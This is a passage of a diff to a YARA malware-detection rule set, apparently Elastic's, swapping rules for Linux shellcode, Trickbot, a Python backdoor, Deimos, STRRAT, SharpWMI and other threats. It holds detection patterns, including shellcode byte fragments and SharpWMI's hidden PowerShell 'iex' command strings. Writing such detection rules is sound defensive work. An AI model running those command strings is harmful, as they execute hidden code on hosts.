+		severity = 50
+		arch_context = "x86"
+		scan_context = "file"
+		license = "Elastic License v2"
+		os = "windows"
+
+	strings:
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 4E 00 54 00 49 00 4F 00 4C 00 69 00 62 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+
+	condition:
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+}
+rule ELASTIC_Linux_Shellcode_Generic_5669055F : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Shellcode Generic (Linux.Shellcode.Generic)"
+		author = "Elastic Security"
+		id = "5669055f-8ce7-4163-af06-cb265fde3eef"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Bulz.yar#L20-L37"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "178f6c42582dd99cc5418388d020d4d76f2a9204297a673359fe0a300121c35b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Shellcode_Generic.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "87ef4def16d956cdfecaea899cbb55ff59a6739bbb438bf44a8b5fec7fcfd85b"
+		logic_hash = "735b8dc7fff3c9cc96646a4eb7c5afd70be19dcc821e9e26ce906681130746be"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c8a83bc305998cb6256b004e9d8ce6d5d1618b107e42be139b73807462b53c31"
+		fingerprint = "616fe440ff330a1d22cacbdc2592c99328ea028700447724d2d5b930554a22f4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -66061,28 +69985,28 @@ rule ELASTIC_Linux_Cryptominer_Bulz_0998F811 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 79 70 E4 39 C5 F9 70 C9 4E C5 91 72 F0 12 C5 F9 72 D0 0E C5 91 }
+		$a = { 00 31 C0 31 DB 31 C9 B0 17 CD 80 31 C0 51 B1 06 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Proxy_Frp_4213778F : FILE MEMORY
+rule ELASTIC_Linux_Shellcode_Generic_D2C96B1D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Proxy Frp (Linux.Proxy.Frp)"
+		description = "Detects Linux Shellcode Generic (Linux.Shellcode.Generic)"
 		author = "Elastic Security"
-		id = "4213778f-d05e-4af8-9650-2d813d5a64e5"
-		date = "2021-10-20"
-		modified = "2022-01-26"
+		id = "d2c96b1d-f424-476c-9463-dd34a1da524e"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Proxy_Frp.yar#L1-L28"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "16294086be1cc853f75e864a405f31e2da621cb9d6a59f2a71a2fca4e268b6c2"
-		logic_hash = "83eeb632026c38ac08357c27d971da31fbc9a0500ecf489e8332ac5862a77b85"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Shellcode_Generic.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "403d53a65bd77856f7c565307af5003b07413f2aba50869655cdd88ce15b0c82"
+		logic_hash = "33d964e22c8e3046f114e8264d18e8b4a0e7b55eca59151b084db7eea07aa0b1"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "70bb186a9719767a9a60786fbe10bf4cc2f04c19ea58aaaa90018ec89a9f9b84"
+		fingerprint = "ee042895d863310ff493fdd33721571edd322e764a735381d236b2c0a7077cfa"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -66090,507 +70014,484 @@ rule ELASTIC_Linux_Proxy_Frp_4213778F : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$s1 = "github.com/fatedier/frp/client/proxy.TcpProxy"
-		$s2 = "frp/cmd/frpc/sub/xtcp.go"
-		$s3 = "frp/client/proxy/proxy_manager.go"
-		$s4 = "fatedier/frp/models/config/proxy.go"
-		$s5 = "github.com/fatedier/frp/server/proxy"
-		$s6 = "frp/cmd/frps/main.go"
-		$p1 = "json:\"remote_port\""
-		$p2 = "remote_port"
-		$p3 = "remote_addr"
-		$p4 = "range section [%s] local_port and remote_port is necessary[ERR]"
+		$a = { 89 E1 8D 54 24 04 5B B0 0B CD 80 31 C0 B0 01 31 }
 
 	condition:
-		2 of ($s*) and 2 of ($p*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Deimos_F53Aee03 : FILE MEMORY
+rule ELASTIC_Linux_Shellcode_Generic_30C70926 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Deimos (Windows.Trojan.Deimos)"
+		description = "Detects Linux Shellcode Generic (Linux.Shellcode.Generic)"
 		author = "Elastic Security"
-		id = "f53aee03-74c3-4b40-8ae4-4f1bf35f88c8"
-		date = "2021-09-18"
-		modified = "2022-01-13"
-		reference = "https://www.elastic.co/security-labs/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Deimos.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e"
-		logic_hash = "07675844a8790f8485b6545e7466cdef8ac4f92dec4cd8289aeaad2a0a448691"
+		id = "30c70926-9414-499a-a4db-7c3bb902dd82"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Shellcode_Generic.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a742e23f26726293b1bff3db72864471d6bb4062db1cc6e1c4241f51ec0e21b1"
+		logic_hash = "3594994a911e5428198c472a51de189a6be74895170581ec577c49f8dbb9167a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "12a6d7f9e4f9a937bf1416443dd0d5ee556ac1f67d2b56ad35f9eac2ee6aac74"
+		fingerprint = "4af586211c56e92b1c60fcd09b4def9801086fbe633418459dc07839fe9c735a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "\\APPDATA\\ROAMING" wide fullword
-		$a2 = "{\"action\":\"ping\",\"" wide fullword
-		$a3 = "Deimos" ascii fullword
+		$a = { E3 52 53 89 E1 31 C0 B0 0B CD 80 31 C0 40 CD 80 }
 
 	condition:
-		all of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Deimos_C70677B4 : FILE MEMORY
+rule ELASTIC_Linux_Shellcode_Generic_224Bdcc4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Deimos (Windows.Trojan.Deimos)"
+		description = "Detects Linux Shellcode Generic (Linux.Shellcode.Generic)"
 		author = "Elastic Security"
-		id = "c70677b4-f5ba-440b-ba31-31e80caee2fe"
-		date = "2021-09-18"
-		modified = "2022-01-13"
-		reference = "https://www.elastic.co/security-labs/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Deimos.yar#L24-L44"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e"
-		logic_hash = "c969221f025b114b9d5738d43b6021ab9481dbc6b35eb129ea4f806160b1adc3"
+		id = "224bdcc4-4b38-44b5-96c6-d3b378628fa4"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Shellcode_Generic.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bd22648babbee04555cef52bfe3e0285d33852e85d254b8ebc847e4e841b447e"
+		logic_hash = "8c4a2bb63f0926e7373caf0a027179b4730cc589f9af66d2071e88f4165b0f73"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ffe0dec3585da9cbb9f8a0fac1bb6fd43d5d6e20a6175aaa889ae13ef2ed101f"
+		fingerprint = "e23b239775c321d4326eff2a7edf0787116dd6d8a9e279657e4b2b01b33e72aa"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 }
-		$a2 = { 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D }
+		$a = { 89 E6 6A 10 5A 6A 2A 58 0F 05 48 85 C0 79 1B 49 FF C9 74 22 }
 
 	condition:
-		1 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_STRRAT_A3E48Cd2 : MEMORY
+rule ELASTIC_Linux_Shellcode_Generic_99B991Cd : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Strrat (Windows.Trojan.STRRAT)"
+		description = "Detects Linux Shellcode Generic (Linux.Shellcode.Generic)"
 		author = "Elastic Security"
-		id = "a3e48cd2-e65f-40db-ab55-8015ad871dd6"
-		date = "2024-03-13"
-		modified = "2024-03-21"
+		id = "99b991cd-a5ca-475c-8c10-e43b9d22d26e"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_STRRAT.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "97e67ac77d80d26af4897acff2a3f6075e0efe7997a67d8194e799006ed5efc9"
-		logic_hash = "32f79695829f703bf9996d212aeb563791aed28e1bbb9f700cb45325fd02db77"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Shellcode_Generic.yar#L81-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "954b5a073ce99075b60beec72936975e48787bea936b4c5f13e254496a20d81d"
+		logic_hash = "664e213314fe1d6f1920de237ebea3a94f7fbc42eff089475674ccef812f0f68"
 		score = 75
 		quality = 75
-		tags = "MEMORY"
-		fingerprint = "efda9a8bd5f9e227a6696de1b4ea7eb7343b08563cfcbe73fdd75164593bd111"
+		tags = "FILE, MEMORY"
+		fingerprint = "ed904a3214ccf43482e3ddf75f3683fea45f7c43a2f1860bac427d7d15d8c399"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "memory"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str1 = "strigoi/server/ping.php?lid="
-		$str2 = "/strigoi/server/?hwid="
+		$a = { 6E 89 E3 50 53 89 E1 B0 0B CD 80 00 4C 65 6E 67 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Backdoor_Fakeflashlxk_06Fd8071 : FILE MEMORY
+rule ELASTIC_Linux_Shellcode_Generic_24B9Aa12 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Backdoor Fakeflashlxk (MacOS.Backdoor.Fakeflashlxk)"
+		description = "Detects Linux Shellcode Generic (Linux.Shellcode.Generic)"
 		author = "Elastic Security"
-		id = "06fd8071-0370-4ae8-819a-846fa0a79b3d"
-		date = "2021-11-11"
-		modified = "2022-07-22"
+		id = "24b9aa12-92b2-492d-9a0e-078cdab5830a"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Backdoor_Fakeflashlxk.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "107f844f19e638866d8249e6f735daf650168a48a322d39e39d5e36cfc1c8659"
-		logic_hash = "853d44465a472786bb48bbe1009e0ff925f79e4fd72f0eac537dd271c1ec3703"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Shellcode_Generic.yar#L101-L119"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "24b2c1ccbbbe135d40597fbd23f7951d93260d0039e0281919de60fa74eb5977"
+		logic_hash = "4685253eb00a21d6dd6e874ff68209f20c8668262f24767086687555ccf934aa"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a0e6763428616b46536c6a4eb080bae0cc58ef27678616aa432eb43a3d9c77a1"
+		fingerprint = "0ded0ad2fdfff464bf9a0b5a59b8edfe1151a513203386daae6f9f166fd48e5c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$s1 = "/Users/lxk/Library/Developer/Xcode/DerivedData"
-		$s2 = "Desktop/SafariFlashActivity/SafariFlashActivity/SafariFlashActivity/"
-		$s3 = "/Debug/SafariFlashActivity.build/Objects-normal/x86_64/AppDelegate.o"
+		$a = { 6E 89 E3 89 C1 89 C2 B0 0B CD 80 31 C0 40 CD 80 }
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Sharpwmi_A67D6Fe5 : FILE MEMORY
+rule ELASTIC_Linux_Shellcode_Generic_8Ac37612 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Sharpwmi (Windows.Hacktool.SharpWMI)"
+		description = "Detects Linux Shellcode Generic (Linux.Shellcode.Generic)"
 		author = "Elastic Security"
-		id = "a67d6fe5-3ce5-4e63-979e-3fb799d9d173"
-		date = "2022-10-20"
-		modified = "2022-11-24"
+		id = "8ac37612-aec8-4376-8269-2594152ced8a"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_SharpWMI.yar#L1-L27"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2134a5e1a5eece1336f831a7686c5ea3b6ca5aaa63ab7e7820be937da0678e15"
-		logic_hash = "de8749951ece8d4798ade4661d531515e12edf8e8606ddc330000d847a66a26c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Shellcode_Generic.yar#L121-L139"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c199b902fa4b0fcf54dc6bf3e25ad16c12f862b47e055863a5e9e1f98c6bd6ca"
+		logic_hash = "c0af751bc54dcd9cf834fa5fe9fa120be5e49a56135ebb72fd6073948e956929"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "20719ea15d4dee90c95b474689752172a6b6fb941dced81803f9f726ddc26d29"
+		fingerprint = "97a3d3e7ff4c9ae31f71e609d10b3b848cb0390ae2d1d738ef53fd23ff0621bc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$guid = "6DD22880-DAC5-4B4D-9C91-8C35CC7B8180" ascii wide nocase
-		$str0 = "powershell -w hidden -nop -c \"$e=([WmiClass]'{0}:{1}').Properties['{2}'].Value;[IO.File]::WriteAllBytes('{3}',[Byte[]][Int[]]($e-split','))\"" ascii wide
-		$str1 = "powershell -w hidden -nop -c \"iex($env:{0})\"" ascii wide
-		$str2 = "SELECT * FROM Win32_Process" ascii wide
-		$str3 = "DOWNLOAD_URL" ascii wide
-		$str4 = "TARGET_FILE" ascii wide
-		$str5 = "SELECT Enabled,DisplayName,Action,Direction,InstanceID from MSFT_NetFirewallRule WHERE Enabled=1" ascii wide
-		$print_str0 = "This may indicate called SharpWMI did not invoked WMI using elevated/impersonated token." ascii wide
-		$print_str1 = "[+] Attempted to terminate remote process ({0}). Returned: {1}" ascii wide
+		$a = { 89 E3 ?? 53 89 E1 B0 0B CD 80 00 47 43 43 3A }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Linux_Shellcode_Generic_932Ed0F0 : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Shellcode Generic (Linux.Shellcode.Generic)"
+		author = "Elastic Security"
+		id = "932ed0f0-bd43-4367-bcc3-ecd8f65b52ee"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Shellcode_Generic.yar#L141-L159"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f357597f718f86258e7a640250f2e9cf1c3363ab5af8ddbbabb10ebfa3c91251"
+		logic_hash = "20ae3f1d96f8afd0900ac919eacaff3bd748a7466af5bb2b9f77cfdc4b8b829e"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "7aa4619d2629b5d795e675d17a6e962c6d66a75e11fa884c0b195cb566090070"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { E3 50 89 E2 53 89 E1 B0 0B CD 80 31 C0 40 CD 80 }
 
 	condition:
-		$guid or ( all of ($str*) and 1 of ($print_str*))
+		all of them
 }
-rule ELASTIC_Windows_Virus_Neshta_2A5A14C8 : FILE MEMORY
+rule ELASTIC_Linux_Backdoor_Python_00606Bac : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Virus Neshta (Windows.Virus.Neshta)"
+		description = "Detects Linux Backdoor Python (Linux.Backdoor.Python)"
 		author = "Elastic Security"
-		id = "2a5a14c8-27d8-4658-8941-0bb221d54ad3"
-		date = "2024-01-22"
-		modified = "2024-02-08"
+		id = "00606bac-83eb-4a58-82d2-e4fd16d30846"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Virus_Neshta.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f298214764ee9ab690cb4b376d8a7893edcd9c05a3c4e6f3a56010974a130bd7"
-		logic_hash = "0b5d0603f4c20a2368f697dd84cfe1790a5d0e5904c76066601c9e3d1b5ed1e1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Backdoor_Python.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b3e3728d43535f47a1c15b915c2d29835d9769a9dc69eb1b16e40d5ba1b98460"
+		logic_hash = "92ad2cf4aa848c8f3bcedd319654bf5ef873cd4daba62572381c7e20f0296b82"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4ca7b0c908d08bf8b2041d7b41be8569efa54db99ebf04c7ff290c6bcad7dc02"
+		fingerprint = "cce1d0e7395a74c04f15ff95f6de7fd7d5f46ede83322b832df74133912c0b17"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 44 65 6C 70 68 69 2D 74 68 65 20 62 65 73 74 2E 20 46 75 63 6B 20 6F 66 66 20 61 6C 6C 20 74 68 65 20 72 65 73 74 2E 20 4E 65 73 68 74 61 20 31 2E 30 20 4D 61 64 65 20 69 6E 20 42 65 6C 61 72 75 73 2E }
-		$a2 = { 55 8B EC 81 C4 64 FF FF FF 53 56 57 33 D2 89 95 64 FF FF FF 8B F8 33 C0 55 68 FC 6D 40 00 64 FF 30 64 89 20 8D 85 69 FF FF FF 50 68 97 00 00 00 E8 1B D3 FF FF 33 DB EB 5C 8B F3 81 E6 FF 00 00 }
+		$a = { F4 01 83 45 F8 01 8B 45 F8 0F B6 00 84 C0 75 F2 83 45 F8 01 8B }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Godropper_Bae099Bd : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_01365E46 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Godropper (Linux.Trojan.Godropper)"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "bae099bd-c19a-4893-96e8-63132dabce39"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "01365e46-c769-4c6e-913a-4d1e42948af2"
+		date = "2021-03-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Godropper.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "704643f3fd11cda1d52260285bf2a03bccafe59cfba4466427646c1baf93881e"
-		logic_hash = "ef6274928f7cfc0312122ac3e4153fb0a78dc7d5fb2d68db6cbe4974f5497210"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5c450d4be39caef1d9ec943f5dfeb6517047175fec166a52970c08cd1558e172"
+		logic_hash = "4d61de2cb37e12f62326c1717f6ed44554f5d2aa7ede6033d0c988e5e64df54d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5a7b0906ebc47130aefa868643e1e0a40508fe7a25bc55e5c41ff284ca2751e5"
+		fingerprint = "98505c3418945c10bf4f50a183aa49bdbc7c1c306e98132ae3d0fc36e216f191"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FF FF FF FF 88 DB A2 31 03 A3 5A 5C 9A 19 0E DB }
+		$a = { 8B 43 28 4C 8B 53 18 4C 8B 5B 10 4C 8B 03 4C 8B 4B 08 89 44 24 38 48 89 4C 24 30 4C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Intfour_0Ca45Cd3 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_06Fd4Ac4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Intfour (Linux.Exploit.Intfour)"
+		description = "Identifies Trickbot unpacker"
 		author = "Elastic Security"
-		id = "0ca45cd3-089c-4d7f-9088-dc972c14bd9d"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "06fd4ac4-1155-4068-ae63-4d83db2bd942"
+		date = "2021-03-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Intfour.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9d32c5447aa5182b4be66b7a283616cf531a2fd3ba3dde1bc363b24d8b22682f"
-		logic_hash = "088d8daa9ba4f53c8de229282ed8a7b30b1e567687e7807ac6c3df9524dabba9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "bde387f1e22d1399fb99f6d41732a37635d8e90f29626f2995914a073a7cac89"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8926a8cfd7f3adf29e399a945592063039b80dcc0545b133b453aaf198d31461"
+		fingerprint = "ece49004ed1d27ef92b3b1ec040d06e90687d4ac5a89451e2ae487d92cb24ddd"
+		threat_name = "Windows.Trojan.Trickbot"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 6D 28 63 6F 64 65 2C 20 31 30 32 34 2C 20 26 6E 65 65 64 6C 65 }
+		$a = { 5F 33 C0 68 ?? ?? 00 00 59 50 E2 FD 8B C7 57 8B EC 05 ?? ?? ?? 00 89 45 04 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Zerobot_185E2396 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Trickbot_Ce4305D1 : FILE MEMORY
 {
 	meta:
-		description = "Strings found in the zerobot startup / persistanse functions"
+		description = "Detects Windows Trojan Trickbot (Windows.Trojan.Trickbot)"
 		author = "Elastic Security"
-		id = "185e2396-f9eb-42e6-b78b-f8c01dbd3fd8"
-		date = "2022-12-16"
-		modified = "2024-02-13"
+		id = "ce4305d1-8a6f-4797-afaf-57e88f3d38e6"
+		date = "2021-03-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Zerobot.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f9fc370955490bdf38fc63ca0540ce1ea6f7eca5123aa4eef730cb618da8551f"
-		logic_hash = "caa21cc019d8e4549d976f8b4f98d930ef7acf4c39c41956ae35fa78c975e016"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Trickbot.yar#L41-L58"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "c547114475383e5d84f6b8cb72585ddd5778ae3afa491deddeef8a5ec56be1b5"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f7ce4eebd5f13af3a480dfe23d86394c7e0f85f284a7c2900ab3fad944b08752"
-		threat_name = "Linux.Trojan.Zerobot"
+		fingerprint = "ae606e758b02ccf2a9a313aebb10773961121f79a94c447e745289ee045cf4ee"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$startup_method_1_0 = "/usr/bin/sshf"
